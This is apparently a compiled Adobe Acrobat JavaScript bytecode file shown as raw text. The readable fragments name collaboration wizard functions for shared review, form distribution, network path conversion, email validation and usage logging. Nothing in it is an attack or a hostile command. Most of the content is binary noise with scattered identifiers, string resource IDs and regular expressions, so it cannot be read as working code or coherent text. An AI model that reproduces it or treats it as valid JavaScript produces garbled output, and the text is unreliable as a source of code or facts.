]ZY=]=]\`V`\]\V�ؐ�ʐȐ�͐������ΐ���ʐʐ���ʐϐ�Ϙ�(i��	matchstatic_texttypename	wrap_namewidth" 
zstring_widthdiffview	align_topalign_childrenelements^\%bullet\%(.*)����ANCreateMLSEElementsFromArray��!
nameOrArraywidthai]���l(
T;Z\T��=%Z9��T�T�:`\Z\WQTKAmMWQV�
�Z9��TV7�T�:`\�:WQ�L����NV����������ɐ5Dː������		undefinedlengthANCreateMLSElementconcat[D����ANCreateTipElements(�:tipwidthtipDesc���y(T Z\ZY=]T]ZY=]=]ZY=]=];	5
];	5]\`9
�
�T�YZT`;	5
�`\]\�:`\]\`\�
�T5ZY=]=]T]\`\
Z\�:]\`\��������ʐȐ��ʐʐ���ʐʐϐԐ��Ԑ��0ɐ�ʐʐӐ�Ր��clustertypewidthview	align_rowalign_childrenimagetip1item_idCollabtipIconWidth
tipIconHeightheightANCreateMLSElementdiffelementsconcatalign_rightalign����ANCreateSkipElementss�"	skipLabelwidth-�Z��(T Z\ZY=]T]ZY=]=]=];5	]
\`\]\`\��������ʐȐ���ʐʐʐᘀ(��viewtypewidth	check_boxskipitem_id
align_left	alignmentAnnotsStringIDS_DONT_SHOW_AGAINnameelements����CBSetProductVariantR�
s{�E��(T�
��;5�
�=�:@;5;5�:��ѐ��ϐψ-replaceapp
viewerTypematchExchangeAnnotsStringIDS_PRODUCT_VARIANT_ACROBATIDS_PRODUCT_VARIANT_READER{cProductVariant}����CBIsValidEmail=�addremailREa�J��(�WQT;E)QT=EQT�
�V�:@�ɐ���H	undefinedmatchx^([a-zA-Z0-9_\-\.\/]+)@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.)|(([a-zA-Z0-9\-]+\.)+))([a-zA-Z]{2,63}|[0-9]{1,3})(\]?)$����ANFancyAlertImpl

o�=`��titlecontenttipbuttonsdontShowMeAgainokcancelotherwidthhonourDSMACancelArg
alertWidthhonourDSMACanceldesccaiccciditemheadermlsetebabcbidresult	argumentsh���(	�����Q�
�����
����;5�����Q����������B�
����QY�����]�����]\�����QZ\�����Q�����K�mM�����Q����������7�����Q=����������QZ\�����Q;�����Q�����5LY=]�����5]	=
]C]=
]\�����Q�����58�����������Y=]=]	\8Q�����5l�����������Y=]�����]�����55]�����55]\8Q�����5�9������5�YZ�����`�����5�����55Y=]\`\]\�:
Z\�����Q�����������Y=]=]������
�����lZY=]=]=
]Z�����`\�
�Z�����`\�:] \`\Z�����`\�:] \8Q�L���N�����Y9!�!�����������:�����Q������
������:�����QZ\�����Q�����K�mM�����Q����������7�����Q="����������Q�����������Y=#]�����]�����]	=$]\8Q����������9%�%�=&�����='�{w)8Q�L���1N�����EQ�����EQ�	����g�����������Y=(]�����])�����]*�	����]+=$]\8Q��EQ�����Y�����������Y=,]�����])�����]*=$]\8QT�����F�����������Y=-]�����])=$]\8Q�����������Y=]=]�����lZY=.]=/]�����50�����50;152]	=]\`\
Z\] \8Q�����������Y=]=]=$]Z\�
������:] \8Q������63Qn4�o4Q�����;465Q������66Q�
���������;467Q�����Y�����]	ZY=]=]�����] \`\] \68Q;9�:
�:Q;9�;
������:�����Q;9�<
�:Q������ė��琐�ސ��ΐِ��ϐ���0��ѐ�ݐِϐϐ�����ʐӐʐ�՘�(����א�ʐ͘�(����א�ʐΐؐۘ�(����ѐ��ܐʐʐ��g�ɐʐʐʐ��瘀)���쐐�萐�ϐ���0��ѐ�ݐِ��ܐʐΐΐ͐������)�b���ܐʐΐΐΐҐ���T���ܐʐΐΐҐ������ܐʐΐ͘�)9�ܐʐʐ�gɐ�ʐʐ��Ր�͐��ܐʐʐʐ☀)M�Ԙ�)`�И�)f�Ԑ���Ԑ����Ԑ���ΐΐ��ʐʐ�)z�ѐ䐈ѐ�ʈCollabAlertWithHelpWidthcontentdontShowMeAgainicn	undefinedheaderstatic_texttypenamedialogfontbold
align_fill	alignmentbulletlength" iconimageitem_idwidthheighttextANCreateMLSElement
zstring_widthdiffview	align_rowalign_childrenconcat
align_leftelementsANCreateTipElementsbtnbuttonalign_righteval (function(dialog) { dialog.end(''); })ok_cancel_otherok_namecancel_name
other_name	ok_cancelok	check_boxdsmalabelAnnotsStringIDS_DONT_SHOW_AGAIN
initializesaveChangesToDSMAcommitothercanceldescriptionapp	beginPriv
execDialogendPriv�������	#dialogilicc�>�M)
Y=]A5A55B]\WQA5K<mMWQA5V7WQV5V=VV58Q�L����NT�
�V�:Q��ʐ���0?ː�ΐ����ߐ���ӈC_Info_Xl_N.pngtip1dontShowMeAgainprefdsmacontenticonicnloadB?�����4�dialog��5�`)A5�=$A5T�
�:56QC����	ߐ��dontShowMeAgain	undefinedprefstoredsma������dialog����i)T�
�=�:Qˆ"Ոendother�������ANPlatformPathToURL��JurldriveC����)T�>�T�
�>���:=.=T�
��=�:UQ�;5=EQT���T�	
�>�:WQV=
EQV=DQV=EQV=
EQT�	
�?�:=hT�
���:=T=UQ;�
�:Q;�
�T�:UQ;�
�:QT�
��: =T�
�>���:==TUQ=TUQT�����)���鐐���Ԑ�������$�p��ѐ�ؐ�ј�)�������$͐�͘�)���lengthsubstr\\smb:replace/appplatformWINcharAtazAZ:\	beginPrivCollabconvertMappedDrivePathToSMBURLendPrivmatch//\\
^[a-z]+:.*����ANSMBURLToPlatformPath��	
smbUrlD�o��)9��=T�:Q;5=_TEQT�
�>���:=8T�
���:UQT�
��=�:UQT��ِ��������Ր�ސ����
DebugAlertsmbUrl 1appplatformWINsubstrsmb:replace\\/����
SplitAddrs��addrsaddrVec	resultVecjiaddr�����)T�
��:WQZ\WQ>WQVKHmMWQVV7�
��=�:WQVVV#?WQV8Q�L����NV�ؐɐ��5Kː�␐��ܐ���splitreplace$1
\;|\n|\r\n|\r^\s*(\S(?:.*\S)?)\s*$0K����CBTrustPropagateWizH�wstepsp��r��)	T5WQVK)mMWQVV9��VV7�:8Q�L����NT�̐�5,ː�琈�	stepsANTrustPropagateAll,����CBCreateStepNavElements<�=navs
activeStepresultiiconElement
staticElement��K��)Z\WQTK mMWQY=];5];5]\WQY=];5	]
\WQVV5
�
��??V�:6
QVV5
�
��TV7�:6
Q?V?TV=
6QV�
�ZY=]=]ZV`V`\]\`\�:WQ�L����NV�ɐ�5�#ː��ʐϐԐ��ʐԐ���ꐈꐐ���ΐ��Ԑʐʐ���imagetypeCollabnavIconWidthwidth
navIconHeightheightstatic_textAnnotsStringIDS_TITLE_TMPLnamereplaceitem_idnav1concatview	align_rowalign_childrenelements\%num\%\%text\%#����CBStartWizStep��3�Wdialogtitlenavs
activeStepheadingtexttiptipDescfinishStringdescriptionnoStepscancelPrevNextFinishWidth	wizFramesstepDescriptionih���)YZY;5]\`Y;5]\`Y;5]\`YT]\`Y;5]\`\]\WQZ\WQT
;D
QT
 �VV�Y=	]
=]ZY=
]
;5]=]C]\`\�
�9��T�T�:�:]\8QVV�Y=]
=]ZY=	]
;5]ZY=
]
T];5]=]C]\`\�
�9��T�;5�:�:�
�T	5�:�
�9��T�;5�T�:�:]\`Y=]
=]=] ZY=]
=!]=] ZY="]
;5]=#]$V]\`Y=%]
�]\`Y="]
=&]=']$V]\`Y="]
=(]=)]$V]\`\]\`\]\`\]\8Q9*�*�Y�])�]'�]#YT];5]ZY=]
=+]V]\`\]\]\�:WQT	K(mMWQV=VVT	V78Q�L����NVT6Q;,�-
�:Q;,�.
�V�T�:Q;,�/
�:QT�0
�=)�:QT�1
�=#�:QV52�=V�2
�T�:QV���̐�ɐψ���ː�ʐʘ�)���ʐϐʐԐ��☀*�ː�ʐʐ���ʐϐ���ʐȐϐʐԐ��鐐Ԑ���ʐʐʐ���ʐʐʐ���ʐϐʐ͐��ʐ̐��ʐʐʐ͐��ʐʐʐ였*IАʐʐʐ��Ȑϐ���ʐʐ☀*]5+ː���ؐ���̐��ѐ�ِ�ѐ��Ր�՘�*m����Ӑ���AnnotsString
IDS_CANCELstring_widthIDS_PREVIOUSIDS_NEXT
IDS_UPLOADmax	undefinedlengthclustertype
align_leftalign_childrenstatic_text	IDS_STEPSnamedialogfontboldconcatCBCreateStepNavElementselementsviewCollabwizardHeightheightwizardWidthwidthANCreateMLSEElementsFromArraydescriptionANCreateTipElementsalign_right	alignment	align_rowbuttoncnclitem_idgap*prev*prev*next*nextANTrustPropagateAllalign_distributeapp	beginPriv
execDialogendPrivmakeDefault
makeCancel
initialize������dialogn���J*T�
�:Qˆψnext������dialog����K*T�
�:Qˆψprevious������dialog��L*T�
�:Qˆψcancel�+����CBRunSimpleWiz�F@wizardstartStepNum
endStepNumdatadescription�@s*	9��Y�����]T]T>�����5�?T]T]�]�]�]	�]
�]�]Y;
5];
5]\]\�:WQ;�
�:QV5;�
�V�:6Q;�
�:QV5�АΐȐ�Ȑʘ�*�ʘ�*�ʘ�*�ʘ�*�ʘ�*�ʘ�*ڕϐޘ�*�ѐ�␈ѐ�ɈANTrustPropagateAllwizard
curStepNumstepslength
endStepNumdatanextpreviouscancel
commitCurStep	startStep
initializeCollabwizardWidthwidthwizardHeightheightdescriptionapp	beginPrivresult
execDialogendPriv�������
EnextStepfilter��z*A�
�C�:QA5WQA55WQsm��A5�V?�: NVA5A�
�V?�:QA5�
�=	�:Q$V?WQ�VA5����VA5A5�
�=	�:Q��ϐ�ʐϐ�(�����*����I�����ؐ��ؐ@ʐ��
t��*��
ј�*���$؈
commitCurStep
curStepNumwizard
stepFilterdata
endStepNum	startStepdialogendfnsh-�������7	prevStepfilter���*A�
�B�:QA5WQA55WQRmV>DQ��A5�V?�: "A�
�V?�:QV?WQ�C������ϐʐϐ�(U�����*��ˈ����Ӑ@ʐ��
t��*��
Ș�*��
commitCurStep
curStepNumwizard
stepFilterdata	startStep-U�����(�
�m�*A�
�B�:QA5�
�=�:Q���ϐ�؈
commitCurStepdialogendcncl�����:�next���*A5EQA55"A5�
�A5�T�:Q����݈'curStepcommitdialog������"I9stepNumwizSteptitlesiwiztitle�
�*9��=T�:QA55T7WQAV�
�A5�:6QA5A56QAT6QZ\WQA55K;mMWQV�
�ZA55V75	`\�:WQ�L����NA55A575	WQA9��A5�V�V�A5�V5
�V5#V5�
��:@�V5�V5�A55�A5�V5�:6
QA5�
�YTA5;5�����5];5];5]=]=] \�:QA5�!
�YT>]\�:Q��ِ�Ӑ��ܐ�Ґ�ʐ�ɐ��0>ː����*�ې����ݐ�Ӑ��ϐϐʐА���*DebugPrintln!$$$> in startStep: step number = wizardstepscurDescriptioncreatordata
curStepNumconcattitlecurStepCBStartWizStepdialogheadingtextsplittiptipDescfinishStringnoStepsload
endStepNumAnnotsStringIDS_NEXTnextIDS_PREVIOUSprev
IDS_CANCELcnclC_Info_Xl_N.pngtip1C_GotoNextView_Sm_N.pngnav1enable
\n|\r\n|\r>�������1dialog�
V
�*AT6QTA6Q;�
�:QT;�
��:6QT;�
��:6QT;�
��:6Q;�
�:QA5	5
�=A5	�6
QA�
�A5
�:Q���ʐ�ʐ�ѐ�ߐ�ߐ�ߐ�ѐ������ѐ��Ԉ dialogmonitorapp	beginPrivnexttrustPropagatorFunctionpreviouscancelendPrivwizard
stepFilter	undefined	startStep
curStepNum���������*A5�
�:Qˆ;҈monitornext��������*A5�
�:Qˆ?҈monitorprevious������Ol�*A5�
�:Qˆ=҈monitorcancel������datastepNum
$
�*Bˆ8�
����CBStartWizStepNewi�:�Pdialogtitlenavs
activeStepheadingtexttiptipDescfinishStringdescriptionnoStepscancelPrevNextFinishWidth	wizFramesstepDescriptionia��*YZY;5]\`Y;5]\`Y;5]\`YT]\`Y;5]\`\]\WQZ\WQVV�Y=]	=
]=]
=]=]=]=]ZY=]	Z\�
�9��T�;5�:�:�
�T	5�:�
�9��T�;5�T�:�:]\`Y=]	=]
=
];5];5];5 ]!ZY=]	="]
=
]ZY=#]	;5$]%=&]=]V]\`Y=']	=
]\`Y=#]	=(]%=)]V]\`Y=#]	=*]%=+]V]\`Y=#]	;5]%=,]V]\`\]\`\]\`\]\8Q9-�-�Y�]+�])�],YT]%>]!>];5.]/ZY=]	=0]
V]\`\]\]\�:WQT	K(mMWQV=VVT	V78Q�L����NVT61Q;2�3
�:Q;2�4
�V�T�:Q;2�5
�:QT�6
�=+�:QT�7
�=,�:QV58�=9V�8
�T�:QV���̐�ɐ��ː�ʐʐʐʐʐʐʐ����ʐ�͐��鐐Ԑ���ʐʐʐϐϐϐ���ʐʐʐ���ʐϐʐʐ͐��ʐϐ��ʐʐʐ͐��ʐʐʐ͐��ʐϐʐ였+:Аʐʐʐ��Ȑ���ϐ���ʐʐ☀+Q5+ː���ؐ���̐��ѐ�ِ�ѐ��Ր�՘�+a����Ӑ���AnnotsString
IDS_CANCELstring_widthIDS_PREVIOUSIDS_NEXT
IDS_UPLOADmaxlengthviewtype
align_fill	alignment
align_leftalign_childrenmgrpitem_iddialogBackground
back_colortopToBottomgradient_directiondarkToLight
gradient_typeconcatANCreateMLSEElementsFromArrayCollabwizardWidthdescriptionANCreateTipElementselementswidthbuttonRowMarginHeight
margin_heightwizardMarginWidthmargin_width	align_rowbuttonIDS_HELPnamehelpgap*prev*prev*next*nextcnclANTrustPropagateAllwizardHeightheightalign_distributedialogapp	beginPriv
execDialogendPrivmakeDefault
makeCancel
initialize	undefined������dialog/J;+T�
�:Qˆψnext������dialog^}<+T�
�:Qˆψprevious������dialog��=+T�
�:Qˆψcancel�+����CBRunSimpleWizNew0�P@wizardstartStepNum
endStepNumdatadescriptiony��m+	9��Y�����]T]T>�����5�?T]�����]�]�]�]	�]
�]�]�]
�]Y;5];5]\]\�:WQ;�
�:QV5;�
�V�:6Q;�
�:QV5�АΐȐ�ΐʘ�+�ʘ�+�ʘ�,cʘ�,hʘ�,�ʘ�,�ʘ�.�ʘ�/��ϐޘ�/��ѐ�␈ѐ�ɈANTrustPropagateAllwizard
curStepNumstepslength
endStepNumdatanextpreviouscancel
commitCurStep	startStep
initializegetNextStepgetPreviousStepCollabwizardWidthwidthwizardHeightheightdescriptionapp	beginPrivresult
execDialogendPriv�������4<unextSteplogEventParamsstartPayloadParamsaddStringToPayloadParamsn�-t+	A�
�C�:QA55CE#QA55A575=A�
�:WQVA5	(A55
=D.QA55
=DQA55
=
�Y\WQY\WQY\WQA55
=4V=6QV=6QV=6Q�A55
=
4V=6QV=
6QV=6Q�A55
=EQ�����5>4V=6QV=6QV=6Q[A55
=EQ�����5?/V=6QV=6QV=6Q;�
�:Q;�
�V�:Q;�
�:QA55
=������5>4V=6QV=6QV=6QD�����5?/V=6QV=6QV=6Q;�
�:Q;�
�V�:Q;�
�:QV=6QV=6Q;�
�:Q;�
�V�:Q;�
�:QA55
=DQA55
=
�V= 6Q�����5!8�����5!5"=#V=$6Q�����5!5"=%V=&6Qш����5!5"='V=(6Q������5!5"=)V=*6QoA55
=
E3QA55!;+EQA55!5"=,V=-6QV=.6QV=.6Q;�
�:Q;�
�V�:Q;�
�:QA55
=8;�
�:Q;�/
�:Q;�
�:QA50�1
�=2�:QA�3
�V�:Q��ϐ�����А��#���אא����ʐʐʐ�/���ΐ�ΐ�
Ӑ���/���ΐ�ΐ�
Ӑ���/���ΐ�ΐ�
Ӑ������ΐ�ΐ�
ΐ���ѐ�Ր�ѐ����/���ΐ�ΐ�Ӑ������ΐ�ΐ�ΐ���
ѐ�
Ր�
ѐ��ΐ�ΐ��ѐ�Ր�ѐ�����ΐ���3�����Ӑ����Ӑ����Ӑ����Ӑ����Ӑ��
Ӑ���	ΐ��	ѐ�Ր�
ѐ�����
ѐ�
ѐ�
ѐ���ݐ���ш
commitCurStepdatadelayOpenDocwizardsteps
curStepNumnameIWBrowseDocgetNextStep
endStepNum
reviewType	ShareFileSharedReviewFormDistributioncatWizardsubcatevntCompletetype
UploadFileapp	beginPrivCollabAVUMLogEventWrapperendPrivShareFilePayloadUploadFilePayloadAVUMStartPayloadWrapperExit_StatusvalAVUMAddStringToPayloadWrapperServer_TypeserverURL9urn://ns.adobe.com/Collaboration/SharedReview/Acrobat.comAcrobat_Com1urn://ns.adobe.com/Collaboration/SharedReview/SMBNetwork_Folder8urn://ns.adobe.com/Collaboration/SharedReview/Sharepoint
SharePoint4urn://ns.adobe.com/Collaboration/SharedReview/WebDAV
Web_Server	undefined,urn://ns.adobe.com/Collaboration/Forms/EmailEmailUnknownAVUMEndPayloadWrapperdialogendfnsh	startStep�����J�	prevStepfilter�-j.�+A�
�B�:QA5WQA55WQA�
�:WQA�
�V�:Q��ϐʐϐ�А��ш
commitCurStep
curStepNumwizard
stepFiltergetPreviousStep	startStep�����.�,(ilogEventParamsstartPayloadParamsaddStringToPayloadParams�._=�+A55=D.QA55=DQA55=�Y\WQY\WQY\WQA55=4V=6QV=6QV=	6Q�A55=4V=6QV=6QV=	6Q�A55=EQ�����5
>4V=6QV=6QV=	6Q[A55=EQ�����5
?/V=6QV=6QV=	6Q;�
�:Q;�
�V�:Q;�
�:QA55=������5
>4V=6QV=6QV=	6QD�����5
?/V=6QV=6QV=	6Q;�
�:Q;�
�V�:Q;�
�:QV=6QV=	6Q;�
�:Q;�
�V�:Q;�
�:QA55=DQA55=�V=6Q�����58�����55=V=6Q�����55=V=6Qш����55=V= 6Q������55=!V="6QoA55=E3QA55;#EQA555=$V=%6QV=&6QV=&6Q;�
�:Q;�
�V�:Q;�
�:QA55=8;�
�:Q;�'
�:Q;�
�:QA�(
�B�:QA5)�*
�=+�:Q���אא���ʐʐʐ��/���ΐ�ΐ�	Ӑ���/���ΐ�ΐ�	Ӑ���/���ΐ�ΐ�	Ӑ������ΐ�ΐ�	ΐ���ѐ�Ր�ѐ����/���
ΐ�
ΐ�
Ӑ������
ΐ�
ΐ�
ΐ��	ѐ�	Ր�	ѐ��ΐ�ΐ��ѐ�Ր�ѐ������ΐ���3�����Ӑ����Ӑ����Ӑ����Ӑ����Ӑ��	Ӑ���ΐ��ѐ�
Ր�	ѐ�����	ѐ�	ѐ�	ј�,`�ϐ�؈data
reviewType	ShareFileSharedReviewFormDistributioncatWizardsubcatevntCanceltype
UploadFileapp	beginPrivCollabAVUMLogEventWrapperendPrivShareFilePayloadUploadFilePayloadAVUMStartPayloadWrappernameExit_StatusvalAVUMAddStringToPayloadWrapperServer_TypeserverURL9urn://ns.adobe.com/Collaboration/SharedReview/Acrobat.comAcrobat_Com1urn://ns.adobe.com/Collaboration/SharedReview/SMBNetwork_Folder8urn://ns.adobe.com/Collaboration/SharedReview/Sharepoint
SharePoint4urn://ns.adobe.com/Collaboration/SharedReview/WebDAV
Web_Server	undefined,urn://ns.adobe.com/Collaboration/Forms/EmailEmailUnknownAVUMEndPayloadWrapper
commitCurStepdialogendcncl�����:�next|=�=c,A5EQA55"A5�
�A5�T�:Q����݈'curStepcommitdialog�����<�+dVstepNumwizSteptitlesiwiztitle>^Eh,9��=T�:QA55T7WQAV�
�A5�:6QA5A56QAT6QZ\WQA55K;mMWQV�
�ZA55V75	`\�:WQ�L����NA55A575	WQA55
=D�QA55
=DsQA55
=
D\QA55
=DEQA55
=D.QA55
=DQA55
=�A9��A5�V�V�A5�V5�V5#V5�
��:@�V5�V5�A55�A5�V5�:6Q�A9��A5�V�V�A5�V5�V5#V5�
��:@�V5�V5�A55�A5�V5�:6QA5�
�YTA5;5 �����5]!;5"]#;5$]%=&]'=(])\�:QA5�*
�YT>]#\�:Q��ِ�Ӑ��ܐ�Ґ�ʐ�ɐ��0>ː����,yې�אאאאאא�������␐���ݐ�Ӑ��ϐϐʐА���+DebugPrintln!$$$> in startStep: step number = wizardstepscurDescriptioncreatordata
curStepNumconcattitle
reviewType	ShareFileSharedReviewSharedReviewEmailFormDistributionFormDistributionEmailDocCenterLoginDocCenterSignupcurStepCBStartWizStepNewdialogheadingtextsplittiptipDescfinishStringnoStepsCBStartWizStepload
endStepNumAnnotsStringIDS_NEXTnextIDS_PREVIOUSprev
IDS_CANCELcnclC_Info_Xl_N.pngtip1C_GotoNextView_Sm_N.pngnav1enable
\n|\r\n|\r
\n|\r\n|\r>�������1dialogxE�G�,AT6QTA6Q;�
�:QT;�
��:6QT;�
��:6QT;�
��:6Q;�
�:QA5	5
�=A5	�6
QA�
�A5
�:Q���ʐ�ʐ�ѐ�ߐ�ߐ�ߐ�ѐ������ѐ��Ԉ dialogmonitorapp	beginPrivnexttrustPropagatorFunctionpreviouscancelendPrivwizard
stepFilter	undefined	startStep
curStepNum������#F>F�,A5�
�:Qˆ;҈monitornext������|F�F�,A5�
�:Qˆ?҈monitorprevious�������F�F�,A5�
�:Qˆ=҈monitorcancel������datastepNum�G�G�,Bˆ8�
�����Z�T�^wizarddata
curStepNum
endStepNumnextStepnextStepNamefilteralwaysUseServeroldNameoldPathnewPath�H)��,A5WQA5WQA5WQA5WQVWQ=WQV5WQV5=�A55V75	x=
yP=y�=y�=
y=y<=yo=y�=y�z9��A55�:WQV;�V55WQV55W	QV	�
�>�V	�
�=�:?�:W
QVV�
��=�:9��=;�:6QVV
V56 QVV6!QVB6"QV5!5#9��=$;�:VC6%QVB6%QA55%�9&�&�='�:Q9(�(�V�YC])=*]+\�: (9&�&�=,�:Q=WQ69&�&�=-�:Q9.�.�V�:Q=/WQD90�0�:B=WQ!9.�.�V�:Q=/WQ=WQ91�1�V�V5�:WQ�A55"=WQ�A55%�9&�&�=2�:Q9(�(�V�YC])=*]+\�: (9&�&�=,�:Q=WQ69&�&�=3�:Q9.�.�V�:Q=/WQD90�0�:B=WQ!9.�.�V�:Q=/WQ91�1�V�V5�:WQ�A554C=5WQ!9.�.�V�:Q=/WQ91�1�V�V5�:WQ?9.�.�V�:Q=/WQ91�1�V�V5�:WQ�A55"=WQ91�1�V�V5�:WQ�9.�.�V�:Q=/WQ91�1�V�V5�:WQ�=WQ91�1�V�V5�:WQU90�0�:B=WQ=/WQ91�1�V�V5�:WQV=eRm��V�V?�: 0VVV?WQVWQ!V?WQ�VV����V
V5=6	�9&�&�=7A55V75	�:QA55V75	x=
yP=y�=yD=
y�=y�=yl=yW=yzz�9��A55�:WQV;V55WQV55W	QV	�
�>�V	�
�=�:?�:W
QVV�
��=�:9��=;�:=86QVV
V56 QVB6"QVV6!QV5!59=:;=WQ9&�&�=;V5!5<5=�:Q�V5!5#9��=$;�:VC6%QVB6%QA55%�9&�&�='�:Q9(�(�V�YC])=>]+\�: (9&�&�=,�:Q=WQ69&�&�=-�:Q9.�.�V�:Q=/WQ�90�0�:B=WQ�V5!5#;?5@-9.�.�V�:QnA=oAQvV5!5#9��=B;�:-9.�.�V�:QnA=oAQ!9.�.�V�:Q=/WQ9&�&�=CV5!5<5=�:Q=WQ91�1�V�V5�:WQiA55"C=WQ+A55!;EQA55!59=D=WQ�A55!;EQA55!59=:3A55EC=FWQ=WQ�A55%�9&�&�=2�:Q9(�(�V�YC])=>]+\�: (9&�&�=,�:Q=WQ69&�&�=3�:Q9.�.�V�:Q=/WQ�90�0�:B=WQ�V5!5#;?5@-9.�.�V�:QnA=oAQvV5!5#9��=B;�:-9.�.�V�:QnA=oAQ!9.�.�V�:Q=/WQ9&�&�=GA55H�:Q9&�&�=IA55E�:Q91�1�V�V5�:WQ�A554C=5WQ!9.�.�V�:Q=/WQ91�1�V�V5�:WQ]9.�.�V�:Q=/WQ91�1�V�V5�:WQ9.�.�V�:QV5!5#;?5@=WQIV5!5#9��=B;�:=WQ=/WQ91�1�V�V5�:WQwA55"C=WQ�A55!;EQA55!59=D=WQvA55!;EQA55!59=:D90�0�:B=WQ!9.�.�V�:Q=/WQ91�1�V�V5�:WQ�=WQ91�1�V�V5�:WQU90�0�:B=WQ=/WQ91�1�V�V5�:WQV=eRm��V�V?�: 0VVV?WQVWQ!V?WQ�VV����V:V5=J�9&�&�=KA55V75	�:QA55V75	x=y=
y�=Ly�zA554C2=5WQ91�1�V�V5�:WQ-=LWQ91�1�V�V5�:WQ�=LWQ91�1�V�V5�:WQi9&�&�=M�:QV5N>2=/WQ91�1�V�V5�:WQ;O�PWQV=eRm��V�V?�: 0VVV?WQVWQ!V?WQ�VV����VQV5=Q9&�&�=RA55V75	�:QA55V75	x=y
zWA554C2=5WQ91�1�V�V5�:WQ;S�PWQV=eRm��V�V?�: 0VVV?WQVWQ!V?WQ�VV����V'VF
����V?WQV�ʐʐʐʐ��ɐ̐����`�d��m
��,�m
��-m
��- m
��-'m
��-1m
��-;m
��-Dmʘ�,�����ސ���핐�ѐѐ됈���Ր��̐�ʐ����	ϐ��	ʐ�������	Ր��
�#���
Ր��
ΐ����
Ր��
Ӑ�
Θ�,ې���
ΐ���
Ӑ��
Θ�,�ɐ�ߐP�������ΐ��������	Ր��
�#���
Ր��
ΐ����
Ր��
Ӑ�
�-����
ΐ���
Ӑ��
ɘ�-�ߐ��P�������ΐ���Ӑ�ɐ��ߐP�����Ӑ�ɐ�ߐP�������ɐ��ߐ��P�����Ӑ��ɐ��ߐ�P�����ɐ��ߐ��P�������ΐ����ɐ���ߐ�P������([�����-V��
�+����	tʐ��	�@ʐ���t��-U�Θ�-c�ɐ����	˕����`�	��m
��-�m
��-�m
��.m
��.m
��.!m
��.;m
��.Dmʘ�-k��ސ������ѐѐ됈���Ր��ʐ���̐��6���	ɐ�	퐐�����
ϐ��
ʐ�������
Ր���#���Ր��ΐ����Ր��Ӑ�Θ�-�����ΐ�(���Ӑ�Ր��(���Ӑ�Ր����Ӑ�ɘ�-��혀-��ɐ��ߐP�������ΐ���ΐ��.�����	ΐ��	ΐ���������	Ր��
�#���
Ր��
ΐ����
Ր��
Ӑ�
Θ�-ܐ���
ΐ�(���Ӑ�Ր��(���Ӑ�Ր�����
Ӑ�
ɘ�-�ᐐ�ᐐ�ߐ��P�������ΐ���Ӑ�ɐ��ߐP�����Ӑ�ɐ�ߐP�����Ӑ����ΐ�����ΐ����ɐ��ߐ�P��������ΐ����ΐ�������	ΐ����	Ӑ�	ɘ�.6�ߐ��P�����ɐ��ߐ��P�������ΐ����ɐ���ߐ�P������([�����.V��
�+����	tʐ��	�@ʐ���t��.U�Θ�.c�ɐ���֕��ꐐ�`�!��m
��.ym
��.mʘ�.k���-���ɐ�䐐���ɐ�ߐ�P�����ɐ�ߐP�����Ր�-���ɐ�䐐���ΐ�P������([�����.���
�+����	tʐ��	�@ʐ���t��.��Θ�.��ɐ������ꐐ�`b��mʐ��-���ɐ�䐐���ΐ�P������([�����.���
�+����	tʐ��	�@ʐ���t��.��Θ�.Ĉɐ���[͐���t�P����wizarddata
curStepNum
endStepNumnoFunc
stepFilter
reviewTypeSharedReviewstepsnameIWBrowseDocIWDistributionServerIWSharedReviewDocCenterLogin$IWSharedReviewDocCenterCreateConfirmIWDistributeStepDescriptionIWIdentityDialogIWNewInternalServerIWSaveProfileStepDescriptiongetAlwaysUseServerValue	undefineddocdocumentFileNamepath	substringlastIndexOf/
cDocumentNamereplaceSharedStringIDS_SHARED_REVIEW_FILE_EXTWT
cDocumentPathserveraddInternalServerUI*IDS_SHARED_REVIEW_SERVER_DOC_CENTER_DETAILUseDocumentCenter
DebugAlert\browsedoc step
use dc
done dist server commit work
now checking if silent is possible or notSilentDocCenterLoginbShowProgressMonitor9urn://ns.adobe.com/Collaboration/SharedReview/Acrobat.comcDriverSilent login: unsuccessfulSilent login : successful DistributionServerStepCommitWorkIWEmailStepDescriptionANValidateIdentity
GetStepNum%checking if silent is possible or notsilent login : successfulsignupIWSharedReviewDocCenterCreateIDFormDistributionCurrent step name is :.pdfURL,urn://ns.adobe.com/Collaboration/Forms/Email-FD getnext step data.server.Settings.cSettingSettingscSetting2urn://ns.adobe.com/Collaboration/Forms/Acrobat.comAnnotsString'IDS_SHARED_REVIEW_DISTRIBUTE_STEP_EMAIL
startStepName5IDS_SHARED_REVIEW_DISTRIBUTE_STEP_ADD_INTERNAL_SERVERasdfasf5urn://ns.adobe.com/Collaboration/Forms/InternalServerplaceSubmitButtonIWSubmitButton
server type :
serverTypeis submit button present :	ShareFile2GetNext step for ShareFile: Current step name is :IWBrowseAnyDocLLogged in and files have been chosen, now do we show the email step or not. typeUploadFileStepslengthDocCenterLogin8GetNext step for Doc CenterLogin: Current step name is :DocCenterLoginSteps.pdf$.pdf$�[�[�[�[�����@�]wizarddata
curStepNumprevStepprevStepNameK�Ŧ�.A5WQA5WQA5WQVWQ=WQV5=�A55V75x=y<=	y_=
y�=y�=y
=
y-zU=WQ9��V�V5�:WQ(=WQ9��V�V5�:WQ�=	WQ9��V�V5�:WQ�V5C=WQVB6Q)V5=	WQ=WQ9��V�V5�:WQ_=WQ9��V�V5�:WQ2=WQ9��V�V5�:WQV=V>V?WQV3V5=�A55V75x=yF=	y�=
y=y4=
y�=y�=y�zV5C=WQVB6QlA55=	WQNA55;EQA555==WQ=WQ9��V�V5�:WQd=WQ9��V�V5�:WQ7=	WQ9��V�V5�:WQ
A55D3QA55;EQA555==WQ=WQ9��V�V5�:WQ�=WQ9��V�V5�:WQ_=WQ9��V�V5�:WQ2=WQ9��V�V5�:WQV=V>V?WQV�V5=�A55V75x=y=
yA=ydz�=	WQ9��V�V5�:WQ_=	WQ9��V�V5�:WQ2=WQ9��V�V5�:WQV=V>V?WQV�V5=vA55V75x=
y
z-=	WQ9��V�V5�:WQV=V>V?WQV�ʐʐʐ��ɘ�.���Е��`����m
��.�m
��.�m
��.�m
��/m
��/
mʘ�.ᐐ�ɐ�ߐP�����ɐ�ߐP�����ɐ�ߐP��������ɐ�ϐ������	ΐ��	ɐ��ߐP�����ɐ�ߐP�����ɐ��ߐ�P��/���
��t���ɐ�������`�]��m
��/4m
��/:m
��/@m
��/Jm
��/Rm
